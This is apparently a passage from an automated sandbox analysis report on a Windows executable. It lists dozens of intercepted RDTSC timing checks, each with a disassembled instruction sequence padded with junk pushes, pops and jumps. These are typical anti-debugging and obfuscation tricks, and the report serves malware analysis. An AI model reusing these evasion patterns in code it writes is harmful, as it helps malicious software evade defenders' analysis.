0x00000054 push edx 0x00000055 jng 00007F44A4EBD626h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611ABC second address: 611AC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611AC0 second address: 611AC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611DEB second address: 611E52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jne 00007F44A4E06776h 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jl 00007F44A4E06776h 0x0000001a popad 0x0000001b jmp 00007F44A4E06784h 0x00000020 popad 0x00000021 nop 0x00000022 pushad 0x00000023 jnl 00007F44A4E0677Ch 0x00000029 mov edx, dword ptr [ebp+122D2D40h] 0x0000002f popad 0x00000030 lea eax, dword ptr [ebp+124848F7h] 0x00000036 movzx edx, cx 0x00000039 nop 0x0000003a jmp 00007F44A4E06782h 0x0000003f push eax 0x00000040 push ecx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611E52 second address: 611E56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611E56 second address: 5F427D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 jmp 00007F44A4E0677Fh 0x0000000d lea eax, dword ptr [ebp+124848B3h] 0x00000013 mov dword ptr [ebp+122D2A34h], edi 0x00000019 add dword ptr [ebp+122D1C06h], ebx 0x0000001f nop 0x00000020 jmp 00007F44A4E0677Bh 0x00000025 push eax 0x00000026 pushad 0x00000027 push edi 0x00000028 push esi 0x00000029 pop esi 0x0000002a pop edi 0x0000002b pushad 0x0000002c jg 00007F44A4E06776h 0x00000032 jmp 00007F44A4E06785h 0x00000037 popad 0x00000038 popad 0x00000039 nop 0x0000003a push 00000000h 0x0000003c push edx 0x0000003d call 00007F44A4E06778h 0x00000042 pop edx 0x00000043 mov dword ptr [esp+04h], edx 0x00000047 add dword ptr [esp+04h], 00000015h 0x0000004f inc edx 0x00000050 push edx 0x00000051 ret 0x00000052 pop edx 0x00000053 ret 0x00000054 mov edi, dword ptr [ebp+122D2CD8h] 0x0000005a call dword ptr [ebp+122D1DDAh] 0x00000060 pushad 0x00000061 pushad 0x00000062 jmp 00007F44A4E06783h 0x00000067 jmp 00007F44A4E06784h 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650096 second address: 6500A0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F44A4EBD626h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6500A0 second address: 6500B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F44A4E0677Eh 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650205 second address: 65020B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65020B second address: 650216 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F44A4E06776h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650216 second address: 650245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F44A4EBD626h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e js 00007F44A4EBD63Dh 0x00000014 jmp 00007F44A4EBD635h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650245 second address: 650249 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650249 second address: 65024F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6504D0 second address: 6504D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65091C second address: 65093B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F44A4EBD62Dh 0x0000000b popad 0x0000000c popad 0x0000000d push edx 0x0000000e pushad 0x0000000f js 00007F44A4EBD626h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650A88 second address: 650A9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F44A4E06776h 0x0000000a pop eax 0x0000000b jo 00007F44A4E0677Eh 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650A9D second address: 650AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44A4EBD630h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 653345 second address: 653349 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656021 second address: 65602E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnp 00007F44A4EBD626h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65602E second address: 65603A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65603A second address: 656040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65CA38 second address: 65CA42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65CA42 second address: 65CA46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B3CB second address: 65B3CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B7ED second address: 65B7F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B976 second address: 65B9CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F44A4E06780h 0x0000000b popad 0x0000000c push edx 0x0000000d jmp 00007F44A4E06784h 0x00000012 pop edx 0x00000013 pop ebx 0x00000014 pushad 0x00000015 jmp 00007F44A4E06781h 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F44A4E06781h 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65B9CB second address: 65B9F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD637h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F44A4EBD62Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6118CE second address: 6118D8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F44A4E06776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65BB67 second address: 65BB6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65BB6D second address: 65BB79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65BB79 second address: 65BB83 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F44A4EBD626h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6612DE second address: 6612E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 660B86 second address: 660BBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jo 00007F44A4EBD626h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F44A4EBD633h 0x00000016 jmp 00007F44A4EBD633h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66429D second address: 6642C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F44A4E06784h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F44A4E0677Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6642C3 second address: 6642F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44A4EBD639h 0x00000009 jmp 00007F44A4EBD639h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6642F9 second address: 664303 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F44A4E06776h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663FB1 second address: 663FB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A3BC second address: 66A3C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A3C2 second address: 66A3C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A3C8 second address: 66A3CE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A977 second address: 66A988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F44A4EBD62Ch 0x0000000b jnl 00007F44A4EBD626h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A988 second address: 66A9AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E06788h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F44A4E0678Fh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AC7F second address: 66ACA6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F44A4EBD626h 0x00000008 jmp 00007F44A4EBD62Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F44A4EBD62Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ACA6 second address: 66ACAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AFA5 second address: 66AFA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B2F3 second address: 66B340 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F44A4E06778h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 pushad 0x00000011 popad 0x00000012 jns 00007F44A4E06776h 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a popad 0x0000001b push ebx 0x0000001c jmp 00007F44A4E06789h 0x00000021 jmp 00007F44A4E06783h 0x00000026 pop ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B340 second address: 66B344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66BBEB second address: 66BBF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66BBF0 second address: 66BBFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66BEAC second address: 66BEB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F852 second address: 66F87B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD631h 0x00000007 jmp 00007F44A4EBD634h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F9E3 second address: 66F9E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66FB52 second address: 66FB64 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jp 00007F44A4EBD626h 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop ebx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677D25 second address: 677D29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677D29 second address: 677D2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677D2D second address: 677D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F44A4E0677Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DAFD second address: 67DB23 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F44A4EBD626h 0x00000008 jns 00007F44A4EBD626h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007F44A4EBD636h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DFC8 second address: 67DFCD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67DFCD second address: 67DFD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E102 second address: 67E10D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E10D second address: 67E113 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E5C6 second address: 67E5DB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F44A4E06776h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop eax 0x00000010 pop ebx 0x00000011 push edx 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67D692 second address: 67D69E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F44A4EBD626h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691096 second address: 6910DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F44A4E06784h 0x0000000d jmp 00007F44A4E06784h 0x00000012 popad 0x00000013 jmp 00007F44A4E06784h 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693FA7 second address: 693FCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44A4EBD62Bh 0x00000009 jno 00007F44A4EBD626h 0x0000000f push eax 0x00000010 pop eax 0x00000011 popad 0x00000012 jng 00007F44A4EBD636h 0x00000018 pushad 0x00000019 push esi 0x0000001a pop esi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 693FCA second address: 693FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695AB6 second address: 695AC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4EBD62Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698A2B second address: 698A41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44A4E06780h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698A41 second address: 698A4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 ja 00007F44A4EBD626h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698432 second address: 698477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F44A4E0677Dh 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F44A4E06785h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jng 00007F44A4E06776h 0x0000001c jne 00007F44A4E06776h 0x00000022 push eax 0x00000023 pop eax 0x00000024 popad 0x00000025 push edx 0x00000026 jne 00007F44A4E06776h 0x0000002c pop edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698477 second address: 69847C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69AEF4 second address: 69AEFE instructions: 0x00000000 rdtsc 0x00000002 jc 00007F44A4E06776h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69AEFE second address: 69AF3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F44A4EBD639h 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 js 00007F44A4EBD626h 0x00000016 popad 0x00000017 jmp 00007F44A4EBD632h 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8954 second address: 6A8958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A8958 second address: 6A895C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0B31 second address: 6B0B35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0C6F second address: 6B0C75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0C75 second address: 6B0C80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0DDC second address: 6B0DE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0DE2 second address: 6B0DE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0DE6 second address: 6B0E20 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F44A4EBD62Eh 0x00000008 jmp 00007F44A4EBD633h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F44A4EBD632h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B10D2 second address: 6B10E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F44A4E06776h 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007F44A4E06776h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B10E8 second address: 6B10FF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F44A4EBD631h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B10FF second address: 6B1138 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F44A4E06788h 0x0000000a jmp 00007F44A4E06787h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1138 second address: 6B113C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B113C second address: 6B1140 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B1CFD second address: 6B1D20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F44A4EBD626h 0x0000000a pop ebx 0x0000000b jmp 00007F44A4EBD62Fh 0x00000010 push edi 0x00000011 jnl 00007F44A4EBD626h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4AB4 second address: 6B4ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4ABA second address: 6B4ACC instructions: 0x00000000 rdtsc 0x00000002 jo 00007F44A4EBD626h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4ACC second address: 6B4AD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B4C23 second address: 6B4C38 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnp 00007F44A4EBD626h 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d js 00007F44A4EBD626h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B899F second address: 6B89A9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F44A4E06776h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
